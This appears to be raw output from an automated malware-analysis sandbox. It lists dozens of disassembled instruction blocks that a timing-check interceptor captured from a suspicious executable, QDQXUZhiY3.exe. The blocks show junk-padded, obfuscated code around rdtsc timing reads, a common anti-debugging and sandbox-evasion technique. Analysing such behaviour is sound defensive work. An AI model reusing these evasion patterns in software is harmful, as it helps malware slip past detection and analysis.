Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990B8A second address: 7990BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 6A2896A2h 0x00000008 call 00007F63F87E3383h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F63F87E3386h 0x00000017 nop 0x00000018 jmp 00007F63F87E3380h 0x0000001d lea eax, dword ptr [ebp-08h] 0x00000020 jmp 00007F63F87E3380h 0x00000025 nop 0x00000026 jmp 00007F63F87E3380h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990BFB second address: 7990C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 6B842509h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990C3F second address: 7990C6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63F87E337Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990C6D second address: 7990CE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63F87E5467h 0x00000008 pushfd 0x00000009 jmp 00007F63F87E5468h 0x0000000e jmp 00007F63F87E5465h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test edi, edi 0x00000019 pushad 0x0000001a mov cl, 6Ah 0x0000001c mov ebx, 67AFB94Ch 0x00000021 popad 0x00000022 js 00007F6466F93E2Bh 0x00000028 jmp 00007F63F87E545Bh 0x0000002d mov eax, dword ptr [ebp-04h] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov eax, edx 0x00000035 movsx ebx, ax 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990CE1 second address: 7990CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990CE7 second address: 7990D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+08h], eax 0x0000000e pushad 0x0000000f mov bl, ah 0x00000011 jmp 00007F63F87E5461h 0x00000016 popad 0x00000017 lea eax, dword ptr [ebx+70h] 0x0000001a jmp 00007F63F87E545Eh 0x0000001f push 00000001h 0x00000021 pushad 0x00000022 mov si, D27Dh 0x00000026 mov edx, esi 0x00000028 popad 0x00000029 nop 0x0000002a pushad 0x0000002b call 00007F63F87E5462h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990D41 second address: 7990D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 movzx esi, bx 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F63F87E3381h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990D62 second address: 7990D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990D66 second address: 7990D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990D6C second address: 7990D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E5463h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990D83 second address: 7990DEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F63F87E337Eh 0x00000011 lea eax, dword ptr [ebp-18h] 0x00000014 jmp 00007F63F87E3380h 0x00000019 nop 0x0000001a jmp 00007F63F87E3380h 0x0000001f push eax 0x00000020 jmp 00007F63F87E337Bh 0x00000025 nop 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov ecx, 10843511h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990F3E second address: 7990F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E5461h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990F53 second address: 7990F7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F63F87E337Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990F7B second address: 7990F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E545Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990F8B second address: 7990FA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990FA4 second address: 7990FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990FA8 second address: 7990FAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990FAC second address: 7990FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990FB2 second address: 7990FCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E3389h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990FCF second address: 7990FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990FD3 second address: 7991087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+04h] 0x0000000b pushad 0x0000000c call 00007F63F87E3383h 0x00000011 push eax 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 call 00007F63F87E3385h 0x00000019 mov edx, eax 0x0000001b pop eax 0x0000001c popad 0x0000001d mov dword ptr [edx+04h], eax 0x00000020 jmp 00007F63F87E3383h 0x00000025 mov eax, dword ptr [esi+08h] 0x00000028 jmp 00007F63F87E3386h 0x0000002d mov dword ptr [edx+08h], eax 0x00000030 jmp 00007F63F87E3380h 0x00000035 mov eax, dword ptr [esi+0Ch] 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b pop esi 0x0000003c pop edx 0x0000003d pushfd 0x0000003e jmp 00007F63F87E3386h 0x00000043 or al, FFFFFF98h 0x00000046 jmp 00007F63F87E337Bh 0x0000004b popfd 0x0000004c popad 0x0000004d mov dword ptr [edx+0Ch], eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push edi 0x00000054 pop esi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991087 second address: 7991121 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esi+10h] 0x0000000a jmp 00007F63F87E545Fh 0x0000000f mov dword ptr [edx+10h], eax 0x00000012 pushad 0x00000013 call 00007F63F87E5464h 0x00000018 mov eax, 7E2043B1h 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007F63F87E5467h 0x00000024 xor ah, 0000001Eh 0x00000027 jmp 00007F63F87E5469h 0x0000002c popfd 0x0000002d popad 0x0000002e mov eax, dword ptr [esi+14h] 0x00000031 jmp 00007F63F87E545Eh 0x00000036 mov dword ptr [edx+14h], eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F63F87E5467h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991121 second address: 799114C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63F87E337Fh 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esi+18h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F63F87E337Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799114C second address: 799115E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E545Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799115E second address: 7991162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991162 second address: 79911A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+18h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F63F87E545Fh 0x00000014 sub si, DF4Eh 0x00000019 jmp 00007F63F87E5469h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79911A0 second address: 7991269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+1Ch] 0x0000000c jmp 00007F63F87E337Eh 0x00000011 mov dword ptr [edx+1Ch], eax 0x00000014 jmp 00007F63F87E3380h 0x00000019 mov eax, dword ptr [esi+20h] 0x0000001c pushad 0x0000001d pushad 0x0000001e mov si, 19C3h 0x00000022 call 00007F63F87E3388h 0x00000027 pop esi 0x00000028 popad 0x00000029 pushfd 0x0000002a jmp 00007F63F87E337Bh 0x0000002f add ecx, 4A7A481Eh 0x00000035 jmp 00007F63F87E3389h 0x0000003a popfd 0x0000003b popad 0x0000003c mov dword ptr [edx+20h], eax 0x0000003f pushad 0x00000040 movzx esi, bx 0x00000043 jmp 00007F63F87E3389h 0x00000048 popad 0x00000049 mov eax, dword ptr [esi+24h] 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F63F87E3388h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991269 second address: 799126D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799126D second address: 7991273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991273 second address: 7991279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991279 second address: 799127D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799127D second address: 7991295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+24h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63F87E545Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991295 second address: 7991312 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 5E5679FAh 0x00000008 movsx ebx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esi+28h] 0x00000011 jmp 00007F63F87E337Ah 0x00000016 mov dword ptr [edx+28h], eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F63F87E337Eh 0x00000020 adc ch, 00000068h 0x00000023 jmp 00007F63F87E337Bh 0x00000028 popfd 0x00000029 pushad 0x0000002a mov cl, EDh 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f popad 0x00000030 mov ecx, dword ptr [esi+2Ch] 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushfd 0x00000037 jmp 00007F63F87E3383h 0x0000003c sub si, 785Eh 0x00000041 jmp 00007F63F87E3389h 0x00000046 popfd 0x00000047 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991312 second address: 799136D instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F63F87E545Ch 0x0000000d jmp 00007F63F87E5465h 0x00000012 popfd 0x00000013 popad 0x00000014 mov dword ptr [edx+2Ch], ecx 0x00000017 jmp 00007F63F87E545Eh 0x0000001c mov ax, word ptr [esi+30h] 0x00000020 pushad 0x00000021 mov dx, ax 0x00000024 push eax 0x00000025 mov dh, 0Dh 0x00000027 pop eax 0x00000028 popad 0x00000029 mov word ptr [edx+30h], ax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F63F87E545Ch 0x00000034 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799136D second address: 79913B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [esi+32h] 0x0000000d jmp 00007F63F87E3386h 0x00000012 mov word ptr [edx+32h], ax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F63F87E3387h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79913B3 second address: 799146F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+34h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F63F87E545Ch 0x00000013 or al, 00000038h 0x00000016 jmp 00007F63F87E545Bh 0x0000001b popfd 0x0000001c mov cx, A66Fh 0x00000020 popad 0x00000021 mov dword ptr [edx+34h], eax 0x00000024 pushad 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F63F87E545Eh 0x0000002c or eax, 4FC38A98h 0x00000032 jmp 00007F63F87E545Bh 0x00000037 popfd 0x00000038 mov esi, 04FD084Fh 0x0000003d popad 0x0000003e pushfd 0x0000003f jmp 00007F63F87E5464h 0x00000044 jmp 00007F63F87E5465h 0x00000049 popfd 0x0000004a popad 0x0000004b test ecx, 00000700h 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F63F87E5468h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799146F second address: 7991473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991473 second address: 7991479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991479 second address: 79914B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F63F87E337Ch 0x00000008 pop ecx 0x00000009 mov di, D2F6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jne 00007F6466F915DDh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F63F87E3388h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79914B0 second address: 7991595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F63F87E5461h 0x00000009 sbb ch, 00000006h 0x0000000c jmp 00007F63F87E5461h 0x00000011 popfd 0x00000012 mov ah, F2h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 or dword ptr [edx+38h], FFFFFFFFh 0x0000001b jmp 00007F63F87E5463h 0x00000020 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000024 jmp 00007F63F87E5466h 0x00000029 or dword ptr [edx+40h], FFFFFFFFh 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F63F87E545Eh 0x00000034 adc cx, A338h 0x00000039 jmp 00007F63F87E545Bh 0x0000003e popfd 0x0000003f pushfd 0x00000040 jmp 00007F63F87E5468h 0x00000045 adc eax, 46AC1D98h 0x0000004b jmp 00007F63F87E545Bh 0x00000050 popfd 0x00000051 popad 0x00000052 pop esi 0x00000053 pushad 0x00000054 call 00007F63F87E5464h 0x00000059 push esi 0x0000005a pop edi 0x0000005b pop eax 0x0000005c mov si, bx 0x0000005f popad 0x00000060 pop ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F63F87E5464h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7991595 second address: 79915BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F63F87E3385h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79E0CFB second address: 79E0D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebp 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F63F87E5467h 0x0000000f sub cl, 0000003Eh 0x00000012 jmp 00007F63F87E5469h 0x00000017 popfd 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79E0D3A second address: 79E0D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79E0D40 second address: 79E0DAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F63F87E5469h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F63F87E545Eh 0x00000017 mov ebp, esp 0x00000019 jmp 00007F63F87E5460h 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F63F87E5467h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7980132 second address: 7980157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F63F87E337Eh 0x0000000a and ax, B308h 0x0000000f jmp 00007F63F87E337Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7980157 second address: 798017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ax, 1BB9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 798017C second address: 7980194 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F63F87E3380h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7980194 second address: 79801B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F63F87E5469h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79801B9 second address: 79801CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79801CE second address: 79801F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 jmp 00007F63F87E5463h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ax, 4A1Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 mov si, 5DCDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79801F6 second address: 798021E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007F63F87E3380h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 798021E second address: 7980222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7980222 second address: 798023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 792002A second address: 7920058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63F87E545Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920058 second address: 792005C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 792005C second address: 792007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 6B3E358Dh 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov ecx, 0E818945h 0x00000013 movzx ecx, dx 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 792007B second address: 792007F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 792007F second address: 7920095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5462h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920BFC second address: 7920C02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920C02 second address: 7920C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920C07 second address: 7920C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3388h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920C2D second address: 7920C33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920C33 second address: 7920C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7920C39 second address: 7920C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79708C0 second address: 79708C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79708C4 second address: 79708CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79708CA second address: 7970919 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 2Fh 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F63F87E3389h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F63F87E337Eh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F63F87E3387h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7970919 second address: 7970931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E5464h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7970931 second address: 7970935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
